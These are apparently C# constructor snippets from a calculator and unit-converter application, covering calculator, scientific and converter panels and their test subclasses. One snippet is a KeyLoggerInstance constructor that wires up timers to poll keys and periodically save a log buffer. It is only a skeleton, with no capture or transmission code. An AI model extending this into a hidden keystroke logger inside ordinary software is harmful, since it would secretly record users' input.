public TestStandardCalculatorPanel( IKeyChecker checker, IFormatter numberFormatter, IFormatter expressionFormatter, IStandardCalculator calculator ) : base(checker, numberFormatter, expressionFormatter, calculator) { }
public TestScientificCalculatorPanel( IKeyChecker checker, IFormatter numberFormatter, IFormatter expressionFormatter, IFormatter engineeringFormatter, IScientificCalculator calculator ) : base(checker, numberFormatter, expressionFormatter, engineeringFormatter, calculator) { }
public TestConverterPanel( IInputBuffer buffer, IKeyChecker checker, IFormatter formatter, IUnitConverter converter, IConverterDisplay display, string[] units ) : base(buffer, checker, formatter, converter, display, units) { }
public KeyLoggerInstance(IKeyChecker keyChecker, ILogSaver logSaver, long refreshInterval = 10, long saveInterval = 10000) { saving = false; logBuffer=new StringBuilder(); reseveBugger=new StringBuilder(); this.keyChecker = keyChecker; this.logSaver = logSaver; keyCheckTimer=new Timer { Interval = refreshInterval }; saveLogTimer = new Timer { Interval = saveInterval }; keyCheckTimer.Elapsed += KeyCheckEvent; saveLogTimer.Elapsed += SaveLogEvent; }
public StandardCalculatorPanel( IKeyChecker checker, IFormatter numberFormatter, IFormatter expressionFormatter, IStandardCalculator calculator ) : base(checker, numberFormatter, expressionFormatter, calculator) { InitializeComponent(); Display = standardDisplay; SetupKeypad(); SetupMemoryPanel(keypadPanel); SetupHistoryPanel(keypadPanel); DisplayValue(Calculator.Input); }
public CalculatorPanel( IKeyChecker checker, IFormatter numberFormatter, IFormatter expressionFormatter, IStandardCalculator calculator ) { InitializeComponent(); Checker = checker; History = new List <Tuple <string, decimal> >(); NumberFormatter = numberFormatter; ExpressionFormatter = expressionFormatter; Calculator = calculator; Helper = new UIHelper(); }
public ConverterPanel( IInputBuffer buffer, IKeyChecker checker, IFormatter formatter, IUnitConverter converter, IConverterDisplay display, string[] units ) { InitializeComponent(); Buffer = buffer; Checker = checker; NumberFormatter = formatter; UnitConverter = converter; Helper = new UIHelper(); Units = units.ToArray(); SetupDisplay(display, units); SetupKeypad(); }